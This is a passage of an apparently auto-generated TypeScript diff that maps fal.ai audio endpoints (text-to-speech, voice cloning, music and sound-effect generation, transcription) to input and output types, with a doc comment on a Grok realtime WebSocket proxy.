InputFalAiAceStep + output: OutputFalAiAceStep + } + 'fal-ai/ace-step/audio-inpaint': { + input: InputFalAiAceStepAudioInpaint + output: OutputFalAiAceStepAudioInpaint + } + 'fal-ai/ace-step/audio-outpaint': { + input: InputFalAiAceStepAudioOutpaint + output: OutputFalAiAceStepAudioOutpaint + } + 'fal-ai/ace-step/audio-to-audio': { + input: InputFalAiAceStepAudioToAudio + output: OutputFalAiAceStepAudioToAudio + } + 'fal-ai/ace-step/prompt-to-audio': { + input: InputFalAiAceStepPromptToAudio + output: OutputFalAiAceStepPromptToAudio + } + 'fal-ai/audio-understanding': { + input: InputFalAiAudioUnderstanding + output: OutputFalAiAudioUnderstanding + } + 'fal-ai/bytedance/seed-speech/tts/v2': { + input: InputFalAiBytedanceSeedSpeechTtsV2 + output: OutputFalAiBytedanceSeedSpeechTtsV2 + } + 'fal-ai/chatterbox/speech-to-speech': { + input: InputFalAiChatterboxSpeechToSpeech + output: OutputFalAiChatterboxSpeechToSpeech + } + 'fal-ai/chatterbox/text-to-speech': { + input: InputFalAiChatterboxTextToSpeech + output: OutputFalAiChatterboxTextToSpeech + } + 'fal-ai/chatterbox/text-to-speech/multilingual': { + input: InputFalAiChatterboxTextToSpeechMultilingual + output: OutputFalAiChatterboxTextToSpeechMultilingual + } + 'fal-ai/cohere-transcribe': { + input: InputFalAiCohereTranscribe + output: OutputFalAiCohereTranscribe + } + 'fal-ai/csm-1b': { + input: InputFalAiCsm1B + output: OutputFalAiCsm1B + } + 'fal-ai/deepfilternet3': { + input: InputFalAiDeepfilternet3 + output: OutputFalAiDeepfilternet3 + } + 'fal-ai/demucs': { + input: InputFalAiDemucs + output: OutputFalAiDemucs + } + 'fal-ai/dia-tts': { + input: InputFalAiDiaTts + output: OutputFalAiDiaTts + } + 'fal-ai/dia-tts/voice-clone': { + input: InputFalAiDiaTtsVoiceClone + output: OutputFalAiDiaTtsVoiceClone + } + 'fal-ai/elevenlabs/audio-isolation': { + input: InputFalAiElevenlabsAudioIsolation + output: OutputFalAiElevenlabsAudioIsolation + } + 'fal-ai/elevenlabs/forced-alignment': { + input: InputFalAiElevenlabsForcedAlignment + output: OutputFalAiElevenlabsForcedAlignment + } + 'fal-ai/elevenlabs/music': { + /** + * @description Request format for Elevenlabs Music API + * @type object + */ + input: InputFalAiElevenlabsMusic + output: OutputFalAiElevenlabsMusic + } + 'fal-ai/elevenlabs/sound-effects/v2': { + input: InputFalAiElevenlabsSoundEffectsV2 + /** + * @description Output format for generated sound effects + * @type object + */ + output: OutputFalAiElevenlabsSoundEffectsV2 + } + 'fal-ai/elevenlabs/speech-to-text': { + input: InputFalAiElevenlabsSpeechToText + output: OutputFalAiElevenlabsSpeechToText + } + 'fal-ai/elevenlabs/speech-to-text/scribe-v2': { + input: InputFalAiElevenlabsSpeechToTextScribeV2 + output: OutputFalAiElevenlabsSpeechToTextScribeV2 + } + 'fal-ai/elevenlabs/text-to-dialogue/eleven-v3': { + input: InputFalAiElevenlabsTextToDialogueElevenV3 + output: OutputFalAiElevenlabsTextToDialogueElevenV3 + } + 'fal-ai/elevenlabs/tts/eleven-v3': { + /** + * @description Request model for eleven_v3 which doesn't support previous_text/next_text + * @type object + */ + input: InputFalAiElevenlabsTtsElevenV3 + output: OutputFalAiElevenlabsTtsElevenV3 + } + 'fal-ai/elevenlabs/tts/multilingual-v2': { + input: InputFalAiElevenlabsTtsMultilingualV2 + output: OutputFalAiElevenlabsTtsMultilingualV2 + } + 'fal-ai/elevenlabs/tts/turbo-v2.5': { + input: InputFalAiElevenlabsTtsTurboV25 + output: OutputFalAiElevenlabsTtsTurboV25 + } + 'fal-ai/elevenlabs/voice-changer': { + input: InputFalAiElevenlabsVoiceChanger + output: OutputFalAiElevenlabsVoiceChanger + } + 'fal-ai/f5-tts': { + input: InputFalAiF5Tts + output: OutputFalAiF5Tts + } + 'fal-ai/ffmpeg-api/merge-audios': { + input: InputFalAiFfmpegApiMergeAudios + output: OutputFalAiFfmpegApiMergeAudios + } + 'fal-ai/gemini-3.1-flash-tts': { + /** + * @description Input for Gemini 3.1 Flash TTS preview speech generation. + * @type object + */ + input: InputFalAiGemini31FlashTts + /** + * @description Output for Gemini text-to-speech generation. + * @type object + */ + output: OutputFalAiGemini31FlashTts + } + 'fal-ai/gemini-tts': { + /** + * @description Input for Gemini text-to-speech generation. + * @type object + */ + input: InputFalAiGeminiTts + /** + * @description Output for Gemini text-to-speech generation. + * @type object + */ + output: OutputFalAiGeminiTts + } + 'fal-ai/index-tts-2/text-to-speech': { + input: InputFalAiIndexTts2TextToSpeech + output: OutputFalAiIndexTts2TextToSpeech + } + 'fal-ai/inworld-tts': { + input: InputFalAiInworldTts + output: OutputFalAiInworldTts + } + 'fal-ai/kling-video/create-voice': { + /** + * @description Request model for creating a custom voice. + * @type object + */ + input: InputFalAiKlingVideoCreateVoice + /** + * @description Response model for creating a custom voice. + * @type object + */ + output: OutputFalAiKlingVideoCreateVoice + } + 'fal-ai/kling-video/v1/tts': { + input: InputFalAiKlingVideoV1Tts + output: OutputFalAiKlingVideoV1Tts + } + 'fal-ai/kling-video/video-to-audio': { + input: InputFalAiKlingVideoVideoToAudio + output: OutputFalAiKlingVideoVideoToAudio + } + 'fal-ai/kokoro/american-english': { + input: InputFalAiKokoroAmericanEnglish + output: OutputFalAiKokoroAmericanEnglish + } + 'fal-ai/kokoro/brazilian-portuguese': { + input: InputFalAiKokoroBrazilianPortuguese + output: OutputFalAiKokoroBrazilianPortuguese + } + 'fal-ai/kokoro/british-english': { + input: InputFalAiKokoroBritishEnglish + output: OutputFalAiKokoroBritishEnglish + } + 'fal-ai/kokoro/french': { + input: InputFalAiKokoroFrench + output: OutputFalAiKokoroFrench + } + 'fal-ai/kokoro/hindi': { + input: InputFalAiKokoroHindi + output: OutputFalAiKokoroHindi + } + 'fal-ai/kokoro/italian': { + input: InputFalAiKokoroItalian + output: OutputFalAiKokoroItalian + } + 'fal-ai/kokoro/japanese': { + input: InputFalAiKokoroJapanese + output: OutputFalAiKokoroJapanese + } + 'fal-ai/kokoro/mandarin-chinese': { + input: InputFalAiKokoroMandarinChinese + output: OutputFalAiKokoroMandarinChinese + } + 'fal-ai/kokoro/spanish': { + input: InputFalAiKokoroSpanish + output: OutputFalAiKokoroSpanish + } + 'fal-ai/ltx-2.3-quality/text-to-audio': { + /** + * @description Text-to-audio generation using the LTX-2.3 audio branch. + * @type object + */ + input: InputFalAiLtx23QualityTextToAudio + /** + * @description Audio-only output for text-to-audio generation. + * @type object + */ + output: OutputFalAiLtx23QualityTextToAudio + } + 'fal-ai/ltx-2.3-quality/text-to-audio/lora': { + /** + * @description Text-to-audio + user-supplied LoRAs. + * @type object + */ + input: InputFalAiLtx23QualityTextToAudioLora + /** + * @description Audio-only output for text-to-audio generation. + * @type object + */ + output: OutputFalAiLtx23QualityTextToAudioLora + } + 'fal-ai/lyria2': { + input: InputFalAiLyria2 + output: OutputFalAiLyria2 + } + 'fal-ai/lyria3': { + input: InputFalAiLyria3 + output: OutputFalAiLyria3 + } + 'fal-ai/lyria3/pro': { + input: InputFalAiLyria3Pro + output: OutputFalAiLyria3Pro + } + 'fal-ai/minimax-music': { + input: InputFalAiMinimaxMusic + output: OutputFalAiMinimaxMusic + } + 'fal-ai/minimax-music/v1.5': { + input: InputFalAiMinimaxMusicV15 + output: OutputFalAiMinimaxMusicV15 + } + 'fal-ai/minimax-music/v2': { + input: InputFalAiMinimaxMusicV2 + output: OutputFalAiMinimaxMusicV2 + } + 'fal-ai/minimax-music/v2.5': { + input: InputFalAiMinimaxMusicV25 + output: OutputFalAiMinimaxMusicV25 + } + 'fal-ai/minimax-music/v2.6': { + input: InputFalAiMinimaxMusicV26 + output: OutputFalAiMinimaxMusicV26 + } + 'fal-ai/minimax/preview/speech-2.5-hd': { + input: InputFalAiMinimaxPreviewSpeech25Hd + output: OutputFalAiMinimaxPreviewSpeech25Hd + } + 'fal-ai/minimax/preview/speech-2.5-turbo': { + input: InputFalAiMinimaxPreviewSpeech25Turbo + output: OutputFalAiMinimaxPreviewSpeech25Turbo + } + 'fal-ai/minimax/speech-02-hd': { + input: InputFalAiMinimaxSpeech02Hd + output: OutputFalAiMinimaxSpeech02Hd + } + 'fal-ai/minimax/speech-02-turbo': { + input: InputFalAiMinimaxSpeech02Turbo + output: OutputFalAiMinimaxSpeech02Turbo + } + 'fal-ai/minimax/speech-2.6-hd': { + input: InputFalAiMinimaxSpeech26Hd + output: OutputFalAiMinimaxSpeech26Hd + } + 'fal-ai/minimax/speech-2.6-turbo': { + input: InputFalAiMinimaxSpeech26Turbo + output: OutputFalAiMinimaxSpeech26Turbo + } + 'fal-ai/minimax/speech-2.8-hd': { + /** + * @description Request model for Speech 2.8 HD - highest quality speech synthesis. + * @type object + */ + input: InputFalAiMinimaxSpeech28Hd + /** + * @description Output model for Speech 2.8 HD. + * @type object + */ + output: OutputFalAiMinimaxSpeech28Hd + } + 'fal-ai/minimax/speech-2.8-turbo': { + /** + * @description Request model for Speech 2.8 Turbo - faster speech synthesis with good quality. + * @type object + */ + input: InputFalAiMinimaxSpeech28Turbo + /** + * @description Output model for Speech 2.8 Turbo. + * @type object + */ + output: OutputFalAiMinimaxSpeech28Turbo + } + 'fal-ai/minimax/voice-clone': { + input: InputFalAiMinimaxVoiceClone + output: OutputFalAiMinimaxVoiceClone + } + 'fal-ai/minimax/voice-design': { + input: InputFalAiMinimaxVoiceDesign + output: OutputFalAiMinimaxVoiceDesign + } + 'fal-ai/mmaudio-v2/text-to-audio': { + input: InputFalAiMmaudioV2TextToAudio + output: OutputFalAiMmaudioV2TextToAudio + } + 'fal-ai/orpheus-tts': { + input: InputFalAiOrpheusTts + output: OutputFalAiOrpheusTts + } + 'fal-ai/qwen-3-tts/clone-voice/0.6b': { + input: InputFalAiQwen3TtsCloneVoice06B + output: OutputFalAiQwen3TtsCloneVoice06B + } + 'fal-ai/qwen-3-tts/clone-voice/1.7b': { + input: InputFalAiQwen3TtsCloneVoice17B + output: OutputFalAiQwen3TtsCloneVoice17B + } + 'fal-ai/qwen-3-tts/text-to-speech/0.6b': { + input: InputFalAiQwen3TtsTextToSpeech06B + output: OutputFalAiQwen3TtsTextToSpeech06B + } + 'fal-ai/qwen-3-tts/text-to-speech/1.7b': { + input: InputFalAiQwen3TtsTextToSpeech17B + output: OutputFalAiQwen3TtsTextToSpeech17B + } + 'fal-ai/qwen-3-tts/voice-design/1.7b': { + input: InputFalAiQwen3TtsVoiceDesign17B + output: OutputFalAiQwen3TtsVoiceDesign17B + } + 'fal-ai/sam-audio/separate': { + /** + * @description Input for text-based audio separation. + * @type object + */ + input: InputFalAiSamAudioSeparate + /** + * @description Output for text-based audio separation. + * @type object + */ + output: OutputFalAiSamAudioSeparate + } + 'fal-ai/sam-audio/span-separate': { + /** + * @description Input for temporal span-based audio separation. + * @type object + */ + input: InputFalAiSamAudioSpanSeparate + /** + * @description Output for span-based audio separation. + * @type object + */ + output: OutputFalAiSamAudioSpanSeparate + } + 'fal-ai/sam-audio/visual-separate': { + /** + * @description Input for visual-prompted audio separation. + * @type object + */ + input: InputFalAiSamAudioVisualSeparate + /** + * @description Output for visual-prompted audio separation. + * @type object + */ + output: OutputFalAiSamAudioVisualSeparate + } + 'fal-ai/silero-vad': { + input: InputFalAiSileroVad + output: OutputFalAiSileroVad + } + 'fal-ai/speech-to-text': { + input: InputFalAiSpeechToText + output: OutputFalAiSpeechToText + } + 'fal-ai/speech-to-text/stream': { + input: InputFalAiSpeechToTextStream + output: OutputFalAiSpeechToTextStream + } + 'fal-ai/speech-to-text/turbo': { + input: InputFalAiSpeechToTextTurbo + output: OutputFalAiSpeechToTextTurbo + } + 'fal-ai/speech-to-text/turbo/stream': { + input: InputFalAiSpeechToTextTurboStream + output: OutputFalAiSpeechToTextTurboStream + } + 'fal-ai/stable-audio': { + input: InputFalAiStableAudio + output: OutputFalAiStableAudio + } + 'fal-ai/stable-audio-25/audio-to-audio': { + input: InputFalAiStableAudio25AudioToAudio + output: OutputFalAiStableAudio25AudioToAudio + } + 'fal-ai/stable-audio-25/inpaint': { + input: InputFalAiStableAudio25Inpaint + output: OutputFalAiStableAudio25Inpaint + } + 'fal-ai/stable-audio-25/text-to-audio': { + input: InputFalAiStableAudio25TextToAudio + output: OutputFalAiStableAudio25TextToAudio + } + 'fal-ai/stable-audio-3/medium/audio-inpainting': { + input: InputFalAiStableAudio3MediumAudioInpainting + output: OutputFalAiStableAudio3MediumAudioInpainting + } + 'fal-ai/stable-audio-3/medium/audio-outpainting': { + input: InputFalAiStableAudio3MediumAudioOutpainting + output: OutputFalAiStableAudio3MediumAudioOutpainting + } + 'fal-ai/stable-audio-3/medium/audio-to-audio': { + input: InputFalAiStableAudio3MediumAudioToAudio + output: OutputFalAiStableAudio3MediumAudioToAudio + } + 'fal-ai/stable-audio-3/medium/base/audio-inpainting': { + input: InputFalAiStableAudio3MediumBaseAudioInpainting + output: OutputFalAiStableAudio3MediumBaseAudioInpainting + } + 'fal-ai/stable-audio-3/medium/base/audio-outpainting': { + input: InputFalAiStableAudio3MediumBaseAudioOutpainting + output: OutputFalAiStableAudio3MediumBaseAudioOutpainting + } + 'fal-ai/stable-audio-3/medium/base/audio-to-audio': { + input: InputFalAiStableAudio3MediumBaseAudioToAudio + output: OutputFalAiStableAudio3MediumBaseAudioToAudio + } + 'fal-ai/stable-audio-3/medium/base/text-to-audio': { + input: InputFalAiStableAudio3MediumBaseTextToAudio + output: OutputFalAiStableAudio3MediumBaseTextToAudio + } + 'fal-ai/stable-audio-3/medium/text-to-audio': { + input: InputFalAiStableAudio3MediumTextToAudio + output: OutputFalAiStableAudio3MediumTextToAudio + } + 'fal-ai/stable-audio-3/small/music/audio-inpainting': { + input: InputFalAiStableAudio3SmallMusicAudioInpainting + output: OutputFalAiStableAudio3SmallMusicAudioInpainting + } + 'fal-ai/stable-audio-3/small/music/audio-outpainting': { + input: InputFalAiStableAudio3SmallMusicAudioOutpainting + output: OutputFalAiStableAudio3SmallMusicAudioOutpainting + } + 'fal-ai/stable-audio-3/small/music/audio-to-audio': { + input: InputFalAiStableAudio3SmallMusicAudioToAudio + output: OutputFalAiStableAudio3SmallMusicAudioToAudio + } + 'fal-ai/stable-audio-3/small/music/base/audio-inpainting': { + input: InputFalAiStableAudio3SmallMusicBaseAudioInpainting + output: OutputFalAiStableAudio3SmallMusicBaseAudioInpainting + } + 'fal-ai/stable-audio-3/small/music/base/audio-outpainting': { + input: InputFalAiStableAudio3SmallMusicBaseAudioOutpainting + output: OutputFalAiStableAudio3SmallMusicBaseAudioOutpainting + } + 'fal-ai/stable-audio-3/small/music/base/audio-to-audio': { + input: InputFalAiStableAudio3SmallMusicBaseAudioToAudio + output: OutputFalAiStableAudio3SmallMusicBaseAudioToAudio + } + 'fal-ai/stable-audio-3/small/music/base/text-to-audio': { + input: InputFalAiStableAudio3SmallMusicBaseTextToAudio + output: OutputFalAiStableAudio3SmallMusicBaseTextToAudio + } + 'fal-ai/stable-audio-3/small/music/text-to-audio': { + input: InputFalAiStableAudio3SmallMusicTextToAudio + output: OutputFalAiStableAudio3SmallMusicTextToAudio + } + 'fal-ai/stable-audio-3/small/sfx/audio-inpainting': { + input: InputFalAiStableAudio3SmallSfxAudioInpainting + output: OutputFalAiStableAudio3SmallSfxAudioInpainting + } + 'fal-ai/stable-audio-3/small/sfx/audio-outpainting': { + input: InputFalAiStableAudio3SmallSfxAudioOutpainting + output: OutputFalAiStableAudio3SmallSfxAudioOutpainting + } + 'fal-ai/stable-audio-3/small/sfx/audio-to-audio': { + input: InputFalAiStableAudio3SmallSfxAudioToAudio + output: OutputFalAiStableAudio3SmallSfxAudioToAudio + } + 'fal-ai/stable-audio-3/small/sfx/base/audio-inpainting': { + input: InputFalAiStableAudio3SmallSfxBaseAudioInpainting + output: OutputFalAiStableAudio3SmallSfxBaseAudioInpainting + } + 'fal-ai/stable-audio-3/small/sfx/base/audio-outpainting': { + input: InputFalAiStableAudio3SmallSfxBaseAudioOutpainting + output: OutputFalAiStableAudio3SmallSfxBaseAudioOutpainting + } + 'fal-ai/stable-audio-3/small/sfx/base/audio-to-audio': { + input: InputFalAiStableAudio3SmallSfxBaseAudioToAudio + output: OutputFalAiStableAudio3SmallSfxBaseAudioToAudio + } + 'fal-ai/stable-audio-3/small/sfx/base/text-to-audio': { + input: InputFalAiStableAudio3SmallSfxBaseTextToAudio + output: OutputFalAiStableAudio3SmallSfxBaseTextToAudio + } + 'fal-ai/stable-audio-3/small/sfx/text-to-audio': { + input: InputFalAiStableAudio3SmallSfxTextToAudio + output: OutputFalAiStableAudio3SmallSfxTextToAudio + } + 'fal-ai/tada/1b/text-to-speech': { + input: InputFalAiTada1BTextToSpeech + output: OutputFalAiTada1BTextToSpeech + } + 'fal-ai/tada/3b/text-to-speech': { + input: InputFalAiTada3BTextToSpeech + output: OutputFalAiTada3BTextToSpeech + } + 'fal-ai/vibevoice': { + /** + * @description Input schema for VibeVoice TTS generation + * @type object + */ + input: InputFalAiVibevoice + /** + * @description Output schema for VibeVoice TTS generation + * @type object + */ + output: OutputFalAiVibevoice + } + 'fal-ai/vibevoice/0.5b': { + /** + * @description Input schema for VibeVoice-0.5b TTS generation + * @type object + */ + input: InputFalAiVibevoice05B + /** + * @description Output schema for VibeVoice-0.5b TTS generation + * @type object + */ + output: OutputFalAiVibevoice05B + } + 'fal-ai/vibevoice/7b': { + /** + * @description Input schema for VibeVoice-7b TTS generation + * @type object + */ + input: InputFalAiVibevoice7B + /** + * @description Output schema for VibeVoice TTS generation + * @type object + */ + output: OutputFalAiVibevoice7B + } + 'fal-ai/wizper': { + input: InputFalAiWizper + output: OutputFalAiWizper + } + 'fal-ai/workflow-utilities/audio-compressor': { + /** + * @description Input model for audio dynamic range compression + * @type object + */ + input: InputFalAiWorkflowUtilitiesAudioCompressor + /** + * @description Output model for compressed audio + * @type object + */ + output: OutputFalAiWorkflowUtilitiesAudioCompressor + } + 'fal-ai/workflow-utilities/impulse-response': { + /** + * @description Input model for applying impulse response (IR) convolution reverb to audio + * @type object + */ + input: InputFalAiWorkflowUtilitiesImpulseResponse + /** + * @description Output model for impulse response processed audio + * @type object + */ + output: OutputFalAiWorkflowUtilitiesImpulseResponse + } + 'fal-ai/zonos': { + input: InputFalAiZonos + output: OutputFalAiZonos + } + 'fal-ai/zonos2': { + input: InputFalAiZonos2 + output: OutputFalAiZonos2 + } + 'google/gemini-3.8-flash-lite-tts': { + input: InputGoogleGemini38FlashLiteTts + output: OutputGoogleGemini38FlashLiteTts + } + 'google/gemini-3.8-flash-tts': { + input: InputGoogleGemini38FlashTts + output: OutputGoogleGemini38FlashTts + } + 'google/lyria-3.5': { + input: InputGoogleLyria35 + output: OutputGoogleLyria35 + } + 'heygen/heygen-voice': { + input: InputHeygenHeygenVoice + output: OutputHeygenHeygenVoice + } + 'heygen/heygen-voice/turbo': { + input: InputHeygenHeygenVoiceTurbo + output: OutputHeygenHeygenVoiceTurbo + } + 'kotoba-technologies/kotoba-stt/v1/speech-to-text': { + input: InputKotobaTechnologiesKotobaSttV1SpeechToText + output: OutputKotobaTechnologiesKotobaSttV1SpeechToText + } + 'minimax/music-3': { + input: InputMinimaxMusic3 + output: OutputMinimaxMusic3 + } + 'mirelo-ai/sfx2.0/text-to-audio': { + /** + * @description The text-to-SFX request of the Modal deployment's text_to_sfx endpoint; FAL names the request. + * @type object + */ + input: InputMireloAiSfx20TextToAudio + output: OutputMireloAiSfx20TextToAudio + } + 'mirelo-ai/sfx2.0/video-to-audio': { + input: InputMireloAiSfx20VideoToAudio + output: OutputMireloAiSfx20VideoToAudio + } + 'mureka/api/generate/podcast': { + input: InputMurekaApiGeneratePodcast + /** + * @description A generated audio file and its reusable song identifier. + * @type object + */ + output: OutputMurekaApiGeneratePodcast + } + 'mureka/api/generate/speech': { + input: InputMurekaApiGenerateSpeech + /** + * @description A generated audio file and its reusable song identifier. + * @type object + */ + output: OutputMurekaApiGenerateSpeech + } + 'mureka/api/song/describe': { + input: InputMurekaApiSongDescribe + output: OutputMurekaApiSongDescribe + } + 'mureka/api/song/edit': { + input: InputMurekaApiSongEdit + /** + * @description A generated audio file and its reusable song identifier. + * @type object + */ + output: OutputMurekaApiSongEdit + } + 'mureka/api/song/recognize': { + input: InputMurekaApiSongRecognize + output: OutputMurekaApiSongRecognize + } + 'mureka/api/song/stem': { + input: InputMurekaApiSongStem + output: OutputMurekaApiSongStem + } + 'mureka/api/song/transcribe': { + input: InputMurekaApiSongTranscribe + output: OutputMurekaApiSongTranscribe + } + 'mureka/api/voice/clone': { + input: InputMurekaApiVoiceClone + output: OutputMurekaApiVoiceClone + } + 'mureka/v8/generate/instrumental': { + /** + * @description Input for v8 GenerateInstrumental. + * @type object + */ + input: InputMurekaV8GenerateInstrumental + /** + * @description A generated audio file and its reusable song identifier. + * @type object + */ + output: OutputMurekaV8GenerateInstrumental + } + 'mureka/v8/generate/song': { + /** + * @description Input for v8 GenerateSong. + * @type object + */ + input: InputMurekaV8GenerateSong + /** + * @description A generated audio file and its reusable song identifier. + * @type object + */ + output: OutputMurekaV8GenerateSong + } + 'mureka/v8/generate/soundtrack': { + /** + * @description Input for v8 GenerateSoundtrack. + * @type object + */ + input: InputMurekaV8GenerateSoundtrack + /** + * @description A generated audio file and its reusable song identifier. + * @type object + */ + output: OutputMurekaV8GenerateSoundtrack + } + 'mureka/v8/generate/track': { + /** + * @description Generate a vocal or instrumental part from existing audio. + * @type object + */ + input: InputMurekaV8GenerateTrack + /** + * @description A generated audio file and its reusable song identifier. + * @type object + */ + output: OutputMurekaV8GenerateTrack + } + 'mureka/v8/song/extend': { + /** + * @description Input for v8 ExtendSong. + * @type object + */ + input: InputMurekaV8SongExtend + /** + * @description A generated audio file and its reusable song identifier. + * @type object + */ + output: OutputMurekaV8SongExtend + } + 'mureka/v8/song/remix': { + /** + * @description Remix source audio from 10 to 350 seconds long. + * + * Vocal-only, accompaniment-only, and instrumental tracks are not supported. + * @type object + */ + input: InputMurekaV8SongRemix + /** + * @description A generated audio file and its reusable song identifier. + * @type object + */ + output: OutputMurekaV8SongRemix + } + 'mureka/v9.5/generate/instrumental': { + /** + * @description Input for v9.5 GenerateInstrumental. + * @type object + */ + input: InputMurekaV95GenerateInstrumental + /** + * @description A generated audio file and its reusable song identifier. + * @type object + */ + output: OutputMurekaV95GenerateInstrumental + } + 'mureka/v9.5/generate/song': { + /** + * @description Input for v9.5 GenerateSong. + * @type object + */ + input: InputMurekaV95GenerateSong + /** + * @description A generated audio file and its reusable song identifier. + * @type object + */ + output: OutputMurekaV95GenerateSong + } + 'mureka/v9.5/generate/soundtrack': { + /** + * @description Input for v9.5 GenerateSoundtrack. + * @type object + */ + input: InputMurekaV95GenerateSoundtrack + /** + * @description A generated audio file and its reusable song identifier. + * @type object + */ + output: OutputMurekaV95GenerateSoundtrack + } + 'mureka/v9.5/song/remix': { + /** + * @description Remix source audio from 10 to 480 seconds long. + * + * Vocal-only, accompaniment-only, and instrumental tracks are supported. + * @type object + */ + input: InputMurekaV95SongRemix + /** + * @description A generated audio file and its reusable song identifier. + * @type object + */ + output: OutputMurekaV95SongRemix + } + 'mureka/v9/generate/instrumental': { + /** + * @description Input for v9 GenerateInstrumental. + * @type object + */ + input: InputMurekaV9GenerateInstrumental + /** + * @description A generated audio file and its reusable song identifier. + * @type object + */ + output: OutputMurekaV9GenerateInstrumental + } + 'mureka/v9/generate/song': { + /** + * @description Input for v9 GenerateSong. + * @type object + */ + input: InputMurekaV9GenerateSong + /** + * @description A generated audio file and its reusable song identifier. + * @type object + */ + output: OutputMurekaV9GenerateSong + } + 'mureka/v9/generate/soundtrack': { + /** + * @description Input for v9 GenerateSoundtrack. + * @type object + */ + input: InputMurekaV9GenerateSoundtrack + /** + * @description A generated audio file and its reusable song identifier. + * @type object + */ + output: OutputMurekaV9GenerateSoundtrack + } + 'nvidia/nemotron-3-nano-omni/audio': { + input: InputNvidiaNemotron3NanoOmniAudio + output: OutputNvidiaNemotron3NanoOmniAudio + } + 'nvidia/nemotron-asr-multilingual/asr': { + input: InputNvidiaNemotronAsrMultilingualAsr + output: OutputNvidiaNemotronAsrMultilingualAsr + } + 'resemble-ai/chatterboxhd/speech-to-speech': { + /** + * @description Input parameters for the speech-to-speech request. + * @type object + */ + input: InputResembleAiChatterboxhdSpeechToSpeech + /** + * @description Output parameters for the speech-to-speech request. + * @type object + */ + output: OutputResembleAiChatterboxhdSpeechToSpeech + } + 'resemble-ai/chatterboxhd/text-to-speech': { + /** + * @description Input parameters for the TTS request. + * @type object + */ + input: InputResembleAiChatterboxhdTextToSpeech + /** + * @description Output parameters for the TTS request. + * @type object + */ + output: OutputResembleAiChatterboxhdTextToSpeech + } + 'sonilo/v1.1/text-to-music': { + input: InputSoniloV11TextToMusic + output: OutputSoniloV11TextToMusic + } + 'sonilo/v1.1/text-to-sound-effects': { + /** + * @description sfx-v1.0 /text-to-audio schema: plain-language field help for the product + * Playground. Duration accepts fractional seconds; flash and seed are hidden. + * @type object + */ + input: InputSoniloV11TextToSoundEffects + output: OutputSoniloV11TextToSoundEffects + } + 'sonilo/v1.1/video-to-music': { + input: InputSoniloV11VideoToMusic + output: OutputSoniloV11VideoToMusic + } + 'sonilo/v1.1/video-to-sound-effects': { + /** + * @description sfx-v1.0 video schema (video-to-audio / video-to-video): plain-language + * field help for the product Playground. Prompt and segments are advanced; + * flash and seed are hidden. + * @type object + */ + input: InputSoniloV11VideoToSoundEffects + output: OutputSoniloV11VideoToSoundEffects + } + 'veed/clean-audio': { + input: InputVeedCleanAudio + output: OutputVeedCleanAudio + } + 'xai/grok-voice': { + input: InputXaiGrokVoice + output: OutputXaiGrokVoice + } + 'xai/grok-voice/realtime': { + /** + * @description A single Grok realtime WebSocket event, used for both directions. + * + * The envelope is a generic passthrough — a top-level ``type`` plus + * whatever other fields the event carries — so the event shape + * matches xAI's protocol exactly, including unknown or future fields. + * (The wire framing is fal's standard realtime transport; see the + * module docstring.) + * Raw xAI events are forwarded unchanged, except that ``file_search`` + * declarations are rejected for ZDR. The one explicit fal-side convenience + * event, ``x-fal-session.configure``, carries the typed top-level session + * fields (``prompt`` / ``voice`` / ``turn_detection`` / ``tools``), is + * translated to an xAI ``session.update``, and is never itself forwarded + * upstream. Those field names are fal-reserved on client events: raw + * passthrough events carrying non-null values are rejected in-band, while + * explicit nulls emitted by generated clients are ignored. + * + * Client-sent events (proxy → xAI) include ``session.update``, + * ``input_audio_buffer.append`` (base64 audio in ``audio``), + * ``input_audio_buffer.commit`` / ``.clear``, + * ``conversation.item.create`` / ``.delete``, ``response.create``, + * and ``response.cancel``. + * + * Server-sent events (xAI → proxy) include ``session.created`` / + * ``session.updated``, ``conversation.item.added``, + * ``input_audio_buffer.speech_started`` / ``.speech_stopped`` / + * ``.committed`` / ``.cleared``, ``response.created``, + * ``response.output_audio.delta`` (base64 audio in ``delta``), + * ``response.done``, and ``error``. + * @type object + */ + input: InputXaiGrokVoiceRealtime + /** + * @description A single Grok realtime WebSocket event, used for both directions. + * + * The envelope is a generic passthrough — a top-level ``type`` plus + * whatever other fields the event carries — so the event shape + * matches xAI's protocol exactly, including unknown or future fields. + * (The wire framing is fal's standard realtime transport; see the + * module docstring.) + * Raw xAI events are forwarded unchanged, except that ``file_search`` + * declarations are rejected for ZDR. The one explicit fal-side convenience + * event, ``x-fal-session.configure``, carries the typed top-level session + * fields (``prompt`` / ``voice`` / ``turn_detection`` / ``tools``), is + * translated to an xAI ``session.update``, and is never itself forwarded + * upstream. Those field names are fal-reserved on client events: raw + * passthrough events carrying non-null values are rejected in-band, while + * explicit nulls emitted by generated clients are ignored. + * + * Client-sent events (proxy → xAI) include ``session.update``, + * ``input_audio_buffer.append`` (base64 audio in ``audio``), + * ``input_audio_buffer.commit`` / ``.clear``, + * ``conversation.item.create`` / ``.delete``, ``response.create``, + * and ``response.cancel``. + * + * Server-sent events (xAI → proxy) include ``session.created`` / + * ``session.updated``, ``conversation.item.added``, + * ``input_audio_buffer.speech_started`` / ``.speech_stopped`` / + * ``.committed`` / ``.cleared``, ``response.created``, + * ``response.output_audio.delta`` (base64 audio in ``delta``), + * ``response.done``, and ``error``. + * @type object + */ + output: OutputXaiGrokVoiceRealtime + } + 'xai/tts/v1': { + /** + * @description Input for xAI text-to-speech generation. + * @type object + */ + input: InputXaiTtsV1 + /** + * @description Output for xAI text-to-speech generation. + * @type object + */ + output: OutputXaiTtsV1 + } +} + +export const falPostEndpointIdEndpointId = { + 'alibaba/qwen-audio-3-tts': 'alibaba/qwen-audio-3-tts', + 'async/tts-pro/v1.0': 'async/tts-pro/v1.0', + 'bytedance/seed-audio-1.0': 'bytedance/seed-audio-1.0', + 'cassetteai/music-generator': 'cassetteai/music-generator', + 'cassetteai/sound-effects-generator': 'cassetteai/sound-effects-generator', + 'elevenlabs/music/v2': 'elevenlabs/music/v2', + 'elevenlabs/music/v2.5': 'elevenlabs/music/v2.5', + 'elevenlabs/sound-effects/v3': 'elevenlabs/sound-effects/v3', + 'elevenlabs/tts/eleven-v4': 'elevenlabs/tts/eleven-v4', + 'elevenlabs/tts/eleven-v4-turbo': 'elevenlabs/tts/eleven-v4-turbo', + 'fal-ai/ace-step': 'fal-ai/ace-step', + 'fal-ai/ace-step/audio-inpaint': 'fal-ai/ace-step/audio-inpaint', + 'fal-ai/ace-step/audio-outpaint': 'fal-ai/ace-step/audio-outpaint', + 'fal-ai/ace-step/audio-to-audio': 'fal-ai/ace-step/audio-to-audio', + 'fal-ai/ace-step/prompt-to-audio': 'fal-ai/ace-step/prompt-to-audio', + 'fal-ai/audio-understanding': 